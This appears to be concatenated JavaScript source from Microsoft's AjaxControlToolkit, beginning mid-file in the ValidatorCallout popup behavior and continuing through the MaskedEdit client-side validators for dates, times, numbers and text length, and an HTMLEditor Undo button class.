            } else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.Right) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Right);
            } else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.Left) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Left);
            } else {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Right);
            }
            
            // Create the animations (if they were set before initialize was called)
            if (this._onShowJson) {
                this._popupBehavior.set_onShow(this._onShowJson);
            }
            if (this._onHideJson) {
                this._popupBehavior.set_onHide(this._onHideJson);
            }
            
            $addHandler(this._closeCellInnerDiv, "click", this._closeClickHandler);
            this._isBuilt = true;
        }
    },
    
    dispose : function() {
        
        if (this._isBuilt) {
            this.hide();
            
            if (this._focusAttached) {
                $removeHandler(this._elementToValidate, "focus", this._focusHandler);
                this._focusAttached = false;
            }
            $removeHandler(this._closeCellInnerDiv, "click", this._closeClickHandler);
            
            this._onShowJson = null;
            this._onHideJson = null;
            if (this._popupBehavior) {
                this._popupBehavior.dispose();
                this._popupBehavior = null;
            }
            if (this._closeBehavior) {
                this._closeBehavior.dispose();
                this._closeBehavior = null;
            }
            if (this._popupTable) {
                this._popupTable.parentNode.removeChild(this._popupTable);
                this._popupTable = null;
                this._errorMessageCell = null;
                this._elementToValidate = null;
                this._calloutArrowCell = null;
                this._warningIconImage = null;
                this._closeImage = null;
                this._closeCellInnerDiv = null;
            }
            this._isBuilt = false;
        }
        AjaxControlToolkit.ValidatorCalloutBehavior.callBaseMethod(this, 'dispose');
    },    
    
    _getErrorMessage : function() {
        return this.get_element().errormessage || AjaxControlToolkit.Resources.ValidatorCallout_DefaultErrorMessage;
    },
        
    show : function(force) {        
        if (force || !this.get_isOpen()) {
            if(force && AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout) {
                AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout.hide();
            }
            if(AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout != null) {
                return;
            }
            AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout = this;
            this._errorMessageCell.innerHTML = this._getErrorMessage();
            //this._popupBehavior.set_x($common.getSize(this._elementToValidate).width);
            this._popupBehavior.show();
        }
    },
    
    hide : function() {
        if(AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout == this) {
            AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout = null;
        }
        if (this.get_isOpen()) {
            this._popupBehavior.hide();
        }
    },

    _onfocus : function(e) {
        if(!this._originalValidationMethod(this.get_element())) {
            this._ensureCallout();
             if(this._highlightCssClass) {
                Sys.UI.DomElement.addCssClass(this._elementToValidate, this._highlightCssClass);
            }
            this.show(true);
            return false;
        } else {
            this.hide();
            return true;
        }
    },
    
    _oncloseClick : function(e) {
        this.hide();
    },
    
    _onvalidate : function(val) {
        if(!this._originalValidationMethod(val)) {
            this._ensureCallout();
            if(this._highlightCssClass) {
                Sys.UI.DomElement.addCssClass(this._elementToValidate, this._highlightCssClass);
            }
            if (!this._focusAttached) {
                $addHandler(this._elementToValidate, "focus", this._focusHandler);
                this._focusAttached = true;
            }
            this.show(false);
            this._invalid = true;
            return false;
        } else {
            if(this._highlightCssClass && this._invalid) {
                Sys.UI.DomElement.removeCssClass(this._elementToValidate, this._highlightCssClass)
            }
            this._invalid = false;
            this.hide();
            return true;
        }
    },
    
    get_onShow : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnShow Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShow() : this._onShowJson;
    },
    set_onShow : function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onShow(value)
        } else {
            this._onShowJson = value;
        }
        this.raisePropertyChanged('onShow');
    },
    get_onShowBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnShow Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShowBehavior() : null;
    },
    onShow : function() {
        /// <summary>
        /// Play the OnShow animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onShow();
        }
    },
        
    get_onHide : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHide Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHide() : this._onHideJson;
    },
    set_onHide : function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onHide(value)
        } else {
            this._onHideJson = value;
        }
        this.raisePropertyChanged('onHide');
    },
    get_onHideBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHide Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHideBehavior() : null;
    },
    onHide : function() {
        /// <summary>
        /// Play the OnHide animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onHide();
        }
    },
    
    get_warningIconImageUrl : function() {
        return this._warningIconImageUrl;
    },
    set_warningIconImageUrl : function(value) {
        
        if (this._warningIconImageUrl != value) {
            this._warningIconImageUrl = value;
            if (this.get_isInitialized()) {
                this._warningIconImage.src = value;
            }
            this.raisePropertyChanged("warningIconImageUrl");
        }
    },

    get_closeImageUrl : function() {
        return this._closeImageUrl;
    },
    set_closeImageUrl : function(value) {

        if (this._closeImageUrl != value) {
            this._closeImageUrl = value;
            if (this.get_isInitialized()) {
                this._closeImage.src = value;
            }
            this.raisePropertyChanged("closeImageUrl");
        }
    },
        
    get_width : function() {
        return this._width;
    },
    set_width : function(value) {

        if (this._width != value) { 
            this._width = value;
            if (this.get_isInitialized()) {
                this._popupTable.style.width = _width;
            }
            this.raisePropertyChanged("width");
        }
    },

    get_popupPosition: function() {
        /// <value type="AjaxControlToolkit.ValidatorCalloutPosition">
        /// Where the popup should be positioned relative to the target control.
        /// Can be Right (Default), Left, BottomLeft, BottomRight, TopLeft or TopRight.
        /// </value>

        return this._popupPosition;
    },
    set_popupPosition: function(value) {
        if (this._popupPosition != value) {
            this._popupPosition = value;
            this.raisePropertyChanged('popupPosition');
        }
    },

    get_cssClass : function() {
        return this._cssClass;
    },
    set_cssClass : function(value) {

        if (this._cssClass != value) {
            this._cssClass = value;
            this.raisePropertyChanged("cssClass");
        }
    },

    get_highlightCssClass : function() {
        return this._highlightCssClass;
    },
    set_highlightCssClass : function(value) {

        if (this._highlightCssClass != value) {
            this._highlightCssClass = value;
            this.raisePropertyChanged("highlightCssClass");
        }
    },
    
    get_isOpen : function() {
        return $common.getVisible(this._popupTable);
    }
}
AjaxControlToolkit.ValidatorCalloutBehavior.registerClass('AjaxControlToolkit.ValidatorCalloutBehavior', AjaxControlToolkit.BehaviorBase);

AjaxControlToolkit.ValidatorCalloutPosition = function() {
    /// <summary>
    /// Position of the popup relative to the target control
    /// </summary>
    /// <field name="BottomLeft" type="Number" integer="true" />
    /// <field name="BottomRight" type="Number" integer="true" />
    /// <field name="TopLeft" type="Number" integer="true" />
    /// <field name="TopRight" type="Number" integer="true" />
    /// <field name="Right" type="Number" integer="true" />
    /// <field name="Left" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.ValidatorCalloutPosition.prototype = {
    Right: 0,
    Left: 1,
    BottomLeft: 2,
    BottomRight: 3,
    TopLeft: 4,
    TopRight: 5
}
AjaxControlToolkit.ValidatorCalloutPosition.registerEnum('AjaxControlToolkit.ValidatorCalloutPosition');
[d// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../Common/Common.js" />


// Product      : MaskedEdit Validator Control
// Version      : 1.0.0.0
// Date         : 11/08/2006
// Development  : Fernando Cerqueira 
// Version      : 1.0.0.1
// Development  : 02/22/2007 Fernando Cerqueira 
//
function MaskedEditSetMessage(value,msg,txt)
{
    value.errormessage = msg;
    if (txt == "")
    {
        value.text = msg;
    }
    else
    {
        value.text = txt;
    }
    value.innerHTML = value.text;
}
function MaskedEditMessageShow(value,IsValid)
{
    if (typeof(value.display) == "string") 
    {    
        if (value.display == "None") {
            return;
        }
        if (value.display == "Dynamic") {
            value.style.display = IsValid ? "none" : "inline";
            return;
        }
    }
    value.style.visibility = IsValid ? "hidden" : "visible";
}
function MaskedEditSetCssClass(value,Css)
{
    var target = $get(value.TargetValidator); 
    Sys.UI.DomElement.removeCssClass(target,value.InvalidValueCssClass);
    Sys.UI.DomElement.removeCssClass(target,value.CssBlurNegative);
    Sys.UI.DomElement.removeCssClass(target,value.CssFocus);
    Sys.UI.DomElement.removeCssClass(target,value.CssFocusNegative);
    if (Css != "")
    {
        Sys.UI.DomElement.addCssClass(target,Css);
    }
}
function MaskedEditValidatorDateTime(value)
{
    MaskedEditSetMessage(value,"","");
    MaskedEditSetCssClass(value,"");
    MaskedEditMessageShow(value,true);
    if (value.IsMaskedEdit == "false")
    {
        return true;
    }
    var target = $get(value.TargetValidator); 
    if (value.ValidEmpty  == "false")
    {
        if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue)
        {
            MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == "")
    {
        return true;
    }
    var ret = true;
    var mask = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();
    //regular Exp
    if (value.ValidationExpression != "" )
    {
        var rx = new RegExp(value.ValidationExpression);
        var matches = rx.exec(mask);
        ret = (matches != null && mask == matches[0]);
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    var PartDate = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value().split(" ")[0];
    var PartTime = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value().split(" ")[1];
    if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value().split(" ").length == 3)
    {
        PartTime += " " + AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value().split(" ")[2];
    }
    var MinVlDt = "";
    var MinVlTm = "";
    if (value.MinimumValue != "")
    {
        MinVlDt = value.MinimumValue.split(" ")[0];
        MinVlTm = value.MinimumValue.split(" ")[1];
    }
    var MaxVlDt = "";
    var MaxVlTm = "";
    if (value.MaximumValue != "")
    {
        MaxVlDt = value.MaximumValue.split(" ")[0];
        MaxVlTm = value.MaximumValue.split(" ")[1];
    }
    ret = MaskedEditValidatorPartDate(value,PartDate,MinVlDt,MaxVlDt);
    if (ret)
    {
        ret = MaskedEditValidatorPartTime(value,PartTime,MinVlTm,MaxVlTm);
    }
    //custom valid
    if (ret && value.ClientValidationFunction != "")
    {
        var args = { Value:mask, IsValid:true };
        eval(value.ClientValidationFunction + "(value, args);");
        ret = args.IsValid;
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
        }
    }
    if (!ret)
    {
        MaskedEditMessageShow(value,ret);
    }
    return ret;
}
function MaskedEditValidatorPartTime(value,mask,MinVl,MaxVl)
{
    var ret = true;
    var AttibTmSep = value.TimeSeparator;
    var AttibTmSyb = value.AmPmSymbol;
    // hh:mm or hh:mm:ss  
    var SybTm = AttibTmSyb.split(";");
    var tm = AttibTmSyb.replace(";","|");
    var reg1 = "^(^([0][0-9]|[1][0-2])"+ AttibTmSep + "([0-5][0-9])" + AttibTmSep + "([0-5][0-9])\\s("+tm+")$)|(^([0][0-9]|[1][0-2])" + AttibTmSep + "([0-5][0-9])\\s("+tm+")$)$";
    var reg2 = "^(^([0-1][0-9]|[2][0-3])" + AttibTmSep + "([0-5][0-9])" + AttibTmSep + "([0-5][0-9])$)|(^([0-1][0-9]|[2][0-3])" + AttibTmSep + "([0-5][0-9])$)$";
    var H=-1;
    var M=-1;
    var S=-1;
    var aux = "";
    var m_arrValue = mask.split(AttibTmSep);
    var regex1 = new RegExp(reg1);
    var matches1 = regex1.exec(mask);
    var regex2 = new RegExp(reg2);
    var matches2 = regex2.exec(mask);
    if  (matches1 && (matches1[0] == mask))
    {
        aux = mask.substring(mask.length-2).substring(0,1);
        H = parseInt(m_arrValue[0],10);
        if (aux.toUpperCase() == SybTm[1].substring(0,1).toUpperCase())
        {
            H += 12;
            if (H == 24)
            {
                H = 12;
            }
        }
        M = parseInt(m_arrValue[1],10);
        S = (value.length > 9?parseInt(m_arrValue[2].substring(0,2),10):0);
    }
    else if (matches2 && (matches2[0] == mask))
    {
        H = parseInt(m_arrValue[0],10);
        M = parseInt(m_arrValue[1],10);
        S = (mask.length > 5?parseInt(m_arrValue[2],10):0);
    }
    if (H==-1 || M==-1 || S==-1)
    {
        ret = false;
    }
    if (!ret)
    {
        MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
        MaskedEditSetCssClass(value,value.InvalidValueCssClass);
    }
    if(ret && (MaxVl != "" || MinVl != ""))
    {
        var Hr;
        var Mr;
        var Sr;
        var m_arr;
        if (MinVl != "" )
        {
            Hr=-1;
            Mr=-1;
            Sr=-1;
            m_arr = MinVl.split(AttibTmSep);
            matches1 = regex1.exec(MinVl);
            matches2 = regex2.exec(MinVl);
            if (matches1 && (matches1[0] == MinVl))
            {
                aux = MinVl.substring(MinVl.length-2).substring(0,1);
                Hr = parseInt(m_arr[0],10);
                if (aux.toUpperCase() == SybTm[1].substring(0,1).toUpperCase())
                {
                    Hr += 12;
                    if (Hr == 24)
                    {
                        Hr = 0;
                    }
                }
                Mr = parseInt(m_arr[1],10);
                Sr = (MinVl.length > 9?parseInt(m_arr[2].substring(0,2),10):0);
            }
            else if (matches2 && (matches2[0] == MinVl))
            {
                Hr = parseInt(m_arr[0],10);
                Mr = parseInt(m_arr[1],10);
                Sr = (MinVl.length > 5?parseInt(m_arr[2],10):0);
            }
            ret = (H > Hr || (H == Hr && M > Mr) || (H == Hr && M == Mr && S >= Sr));
            if (!ret)
            {
                MaskedEditSetMessage(value,value.MinimumValueMessage,value.MinimumValueText);
                MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            }
        }
        if (MaxVl != "" && ret)
        {
            Hr=-1;
            Mr=-1;
            Sr=-1;
            m_arr = MaxVl.split(AttibTmSep);
            matches1 = regex1.exec(MaxVl);
            matches2 = regex2.exec(MaxVl);
            if  (matches1 && (matches1[0] == MaxVl))
            {
                aux = MaxVl.substring(MaxVl.length-2).substring(0,1);
                Hr = parseInt(m_arr[0],10);
                if (aux.toUpperCase() == SybTm[1].substring(0,1).toUpperCase())
                {
                    Hr += 12;
                    if (Hr == 24)
                    {
                        Hr = 0;
                    }
                }
                Mr = parseInt(m_arr[1],10);
                Sr = (MaxVl.length > 9?parseInt(m_arr[2].substring(0,2),10):0);
            }
            else if (matches2 && (matches2[0] == MaxVl))
            {
                Hr = parseInt(m_arr[0],10);
                Mr = parseInt(m_arr[1],10);
                Sr = (MaxVl.length > 5?parseInt(m_arr[2],10):0);
            }
            ret = (H < Hr || (H == Hr && M < Mr) || (H == Hr && M == Mr && S <= Sr));
            if (!ret)
            {
                MaskedEditSetMessage(value,value.MaximumValueMessage,value.MaximumValueText);
                MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            }
        }
    }
    return ret;
}
function MaskedEditValidatorPartDate(value,mask,MinVl,MaxVl)
{
    var ret = true;
    var AttibDtFmt = value.DateFormat;
    var AttibDtSep = value.DateSeparator;
    var m_arrDate = mask.split(AttibDtSep);
    if (parseInt(m_arrDate.length,10) != 3)
    {
        MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
        MaskedEditSetCssClass(value,value.InvalidValueCssClass);
        ret = false;
    }
    if (AttibDtFmt.indexOf("D") == -1 || AttibDtFmt.indexOf("M") == -1 || AttibDtFmt.indexOf("Y") == -1)
    {
        MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
        MaskedEditSetCssClass(value,value.InvalidValueCssClass);
        ret = false;
    }
    var D = -1;
    var M = -1;
    var Y = -1;
    if (ret)
    {
        D = parseInt(m_arrDate[AttibDtFmt.indexOf("D")],10);
        M = parseInt(m_arrDate[AttibDtFmt.indexOf("M")],10);
        Y = parseInt(m_arrDate[AttibDtFmt.indexOf("Y")],10)
        if (Y < 100)
        {
            Y = parseInt(Y + value.Century,10);
        }
        else if (Y < 999)
        {
            Y += parseInt(value.Century.substring(0,1) + Y,10)
        }
        ret = (D>0 && M>0 && Y>0 && (D<=[,31,28,31,30,31,30,31,31,30,31,30,31][M] || D==29 && M==2 && Y%4==0 && (Y%100>0 || Y%400==0)));
    }
    if (!ret)
    {
        MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
        MaskedEditSetCssClass(value,value.InvalidValueCssClass);
    }
    if(ret && (MaxVl != "" || MinVl != ""))
    {
       var m_arr;
       var Dr=-1;
       var Mr=-1;
       var Yr=-1;
       if (MinVl != "")
       {
            m_arr = MinVl.split(AttibDtSep);
            Dr = parseInt(m_arr[AttibDtFmt.indexOf("D")],10);
            Mr = parseInt(m_arr[AttibDtFmt.indexOf("M")],10);
            Yr = parseInt(m_arr[AttibDtFmt.indexOf("Y")],10);
            if (Yr < 100)
            {
                Yr = parseInt(Yr + value.Century,10);
            }
            else if (Yr < 999)
            {
                Yr += parseInt(value.Century.substring(0,1) + Yr,10)
            }
            ret = (Dr>0 && Mr>0 && Yr>0 && Y > Yr || (Y == Yr && M > Mr) || (Y == Yr && M == Mr && D >= Dr));
            if (!ret)
            {
                MaskedEditSetMessage(value,value.MinimumValueMessage,value.MinimumValueText);
                MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            }
       }
       if (ret && MaxVl != "")
       {
            m_arr = MaxVl.split(AttibDtSep);
            Dr = parseInt(m_arr[AttibDtFmt.indexOf("D")],10);
            Mr = parseInt(m_arr[AttibDtFmt.indexOf("M")],10);
            Yr = parseInt(m_arr[AttibDtFmt.indexOf("Y")],10);
            if (Yr < 100)
            {
                Yr = parseInt(Yr + value.Century,10);
            }
            else if (Yr < 999)
            {
                Yr += parseInt(value.Century.substring(0,1) + Yr,10)
            }
            ret = (Dr>0 && Mr>0 && Yr>0 && Y < Yr || (Y == Yr && M < Mr) || (Y == Yr && M == Mr && D <= Dr));
            if (!ret)
            {
                MaskedEditSetMessage(value,value.MaximumValueMessage,value.MaximumValueText);
                MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            }
       }
    }
    return ret;
}
function MaskedEditValidatorDate(value)
{

    MaskedEditSetMessage(value,"","");
    MaskedEditSetCssClass(value,"");
    MaskedEditMessageShow(value,true);
    if (value.IsMaskedEdit == "false")
    {
        return true;
    }
    var target = $get(value.TargetValidator); 
    if (value.ValidEmpty  == "false")
    {
        if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue)
        {
            MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == "")
    {
        return true;
    }
    var ret = true;
    var mask = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();
    //regular Exp
    if (value.ValidationExpression != "" )
    {
        var rx = new RegExp(value.ValidationExpression);
        var matches = rx.exec(mask);
        ret = (matches != null && mask == matches[0]);
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    ret = MaskedEditValidatorPartDate(value,mask,value.MinimumValue,value.MaximumValue);
    if (ret && value.ClientValidationFunction != "")
    {
        var args = { Value:mask, IsValid:true };
        eval(value.ClientValidationFunction + "(value, args);");
        ret = args.IsValid;
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
        }
    }
    if (!ret)
    {
        MaskedEditMessageShow(value,ret);
    }
    return ret;
}
//  Validator time
function MaskedEditValidatorTime(value)
{
    MaskedEditSetMessage(value,"","");
    MaskedEditSetCssClass(value,"");
    MaskedEditMessageShow(value,true);
    if (value.IsMaskedEdit == "false")
    {
        return true;
    }
    var target = $get(value.TargetValidator); 
    if (value.ValidEmpty  == "false")
    {
        if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue)
        {
            MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == "")
    {
        return true;
    }
    var ret = true;
    var mask = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();
    //regular Exp
    if (value.ValidationExpression != "" )
    {
        var rx = new RegExp(value.ValidationExpression);
        var matches = rx.exec(mask);
        ret = (matches != null && mask == matches[0]);
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    ret = MaskedEditValidatorPartTime(value,mask,value.MinimumValue,value.MaximumValue);
    if (ret && value.ClientValidationFunction != "")
    {
        var args = { Value:mask, IsValid:true };
        eval(value.ClientValidationFunction + "(value, args);");
        ret = args.IsValid;
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
        }
    }
    if (!ret)
    {
        MaskedEditMessageShow(value,ret);
    }
    return ret;        
}
//  Validator Number
function MaskedEditValidatorNumber(value)
{
    MaskedEditSetMessage(value,"","");
    MaskedEditSetCssClass(value,"");
    MaskedEditMessageShow(value,true);
    if (value.IsMaskedEdit == "false")
    {
        return true;
    }
    var target = $get(value.TargetValidator); 
    if (value.ValidEmpty  == "false")
    {
        if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue)
        {
            MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == "")
    {
        return true;
    }
    var ret = true;
    var AttibThSep = value.Thousands;
    var AttibDcSep = value.Decimal;
    var AttibCuSyb = value.Money;
    var AttibLastPos = value.LastMaskPosition + AttibCuSyb.length + 1;
    
    var mask = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();

    if (value.ValidationExpression != "" )
    {
        var rx = new RegExp(value.ValidationExpression);
        var matches = rx.exec(mask);
        ret = (matches != null && mask == matches[0]);
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    ret = false;
    var cleanInput = null;
    var exp  = null;
    var m = null;
    var num = null;
    var Compnum = null;
    mask = mask.replace(new RegExp("(\\" + AttibThSep + ")", "g"), "");
    mask = mask.replace(new RegExp("(\\" + AttibCuSyb + ")", "g"), "");
    //trim
    m = mask.match(/^\s*(\S+(\s+\S+)*)\s*$/);
    if (m != null)
    {
        mask = m[1];
    }
    //integer
    exp = /^\s*[-\+]?\d+\s*$/;
    if (mask.match(exp) != null) 
    {
        num = parseInt(mask, 10);
        ret = (num == (isNaN(num) ? null : num));
    }
    if (ret)
    {
        if (value.MaximumValue != "")
        {
            Compnum = parseInt(value.MaximumValue, 10);
            if (Compnum == (isNaN(Compnum) ? null : Compnum))
            {
                if (num > Compnum)
                {
                    ret = false;
                    MaskedEditSetMessage(value,value.MaximumValueMessage,value.MaximumValueText);
                    MaskedEditSetCssClass(value,value.InvalidValueCssClass);
                }
            }
        }
        if (ret && value.MinimumValue != "")
        {
            Compnum = parseInt(value.MinimumValue, 10);
            if (Compnum == (isNaN(Compnum) ? null : Compnum))
            {
                if (num < Compnum)
                {
                    ret = false;
                    MaskedEditSetMessage(value,value.MinimumValueMessage,value.MinimumValueText);
                    MaskedEditSetCssClass(value,value.InvalidValueCssClass);
                }
            }
        }
    }
    else
    {
        //float
        exp = new RegExp("^\\s*([-\\+])?(\\d+)?(\\" + AttibDcSep + "(\\d+))?\\s*$");
        m = mask.match(exp);
        if (m != null)
        {
            cleanInput = null;
            if  (typeof(m[1]) != "undefined")
            {
                cleanInput = m[1] + (m[2].length>0 ? m[2] : "0") + "." + m[4];
            }
            else
            {
                cleanInput = (m[2].length>0 ? m[2] : "0") + "." + m[4];
            }
            num = parseFloat(cleanInput);
            ret = (num == (isNaN(num) ? null : num));            
        }
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
        }
        if (ret)
        {
            if (value.MaximumValue != "")
            {
                Compnum = parseFloat(value.MaximumValue);
                if (Compnum == (isNaN(Compnum) ? null : Compnum))
                {
                    if (num > Compnum)
                    {
                        ret = false;
                        MaskedEditSetMessage(value,value.MaximumValueMessage,value.MaximumValueText);
                        MaskedEditSetCssClass(value,value.InvalidValueCssClass);
                    }
                }
            }
            if (ret && value.MinimumValue != "")
            {
                Compnum = parseFloat(value.MinimumValue);
                if (Compnum == (isNaN(Compnum) ? null : Compnum))
                {
                    if (num < Compnum)
                    {
                        ret = false;
                        MaskedEditSetMessage(value,value.MinimumValueMessage,value.MinimumValueText);
                        MaskedEditSetCssClass(value,value.InvalidValueCssClass);
                    }
                }
            }
        }
    }
    if (ret && value.ClientValidationFunction != "")
    {
        var args = { Value:mask, IsValid:true };
        eval(value.ClientValidationFunction + "(value, args);");
        ret = args.IsValid;
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
        }
    }
    if (!ret)
    {
        MaskedEditMessageShow(value,ret);
    }
    return ret;        
}
//  Validator None
function MaskedEditValidatorNone(value)
{
    MaskedEditSetMessage(value,"","");
    MaskedEditSetCssClass(value,"");
    MaskedEditMessageShow(value,true);
    if (value.IsMaskedEdit == "false")
    {
        return true;
    }
    var target = $get(value.TargetValidator); 
    if (value.ValidEmpty  == "false")
    {
        if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue)
        {
            MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value() == "")
    {
        return true;
    }
    var ret = true;
    var mask = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();
    if (value.ValidationExpression != "" )
    {
        var rx = new RegExp(value.ValidationExpression);
        var matches = rx.exec(mask);
        ret = (matches != null && mask == matches[0]);
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
            MaskedEditMessageShow(value,false);
            return false;
        }
    }
    var exp = /^\d+\s*$/;
    var num = null;
    if (value.MaximumValue != "")
    {
        if (value.MaximumValue.match(exp) != null) 
        {
            num = parseInt(value.MaximumValue, 10);
            if (num == (isNaN(num) ? null : num))
            {
                if (mask.length > num)
                {
                    ret = false;
                    MaskedEditSetMessage(value,value.MaximumValueMessage,value.MaximumValueText);
                    MaskedEditSetCssClass(value,value.InvalidValueCssClass);
                }
            }
        }
    }
    if (ret && value.MinimumValue != "")
    {
        if (value.MinimumValue.match(exp) != null) 
        {
            num = parseInt(value.MinimumValue, 10);
            if (num == (isNaN(num) ? null : num))
            {
                if (mask.length < num)
                {
                    ret = false;
                    MaskedEditSetMessage(value,value.MinimumValueMessage,value.MinimumValueText);
                    MaskedEditSetCssClass(value,value.InvalidValueCssClass);
                }
            }
        }
    }
    if (ret && value.ClientValidationFunction != "")
    {
        var args = { Value:mask, IsValid:true };
        eval(value.ClientValidationFunction + "(value, args);");
        ret = args.IsValid;
        if (!ret)
        {
            MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);
            MaskedEditSetCssClass(value,value.InvalidValueCssClass);
        }
    }
    if (!ret)
    {
        MaskedEditMessageShow(value,ret);
    }
    return ret;        
}
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo.callBaseMethod(this, "callMethod")) return false;
        this._designPanel.undo();
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

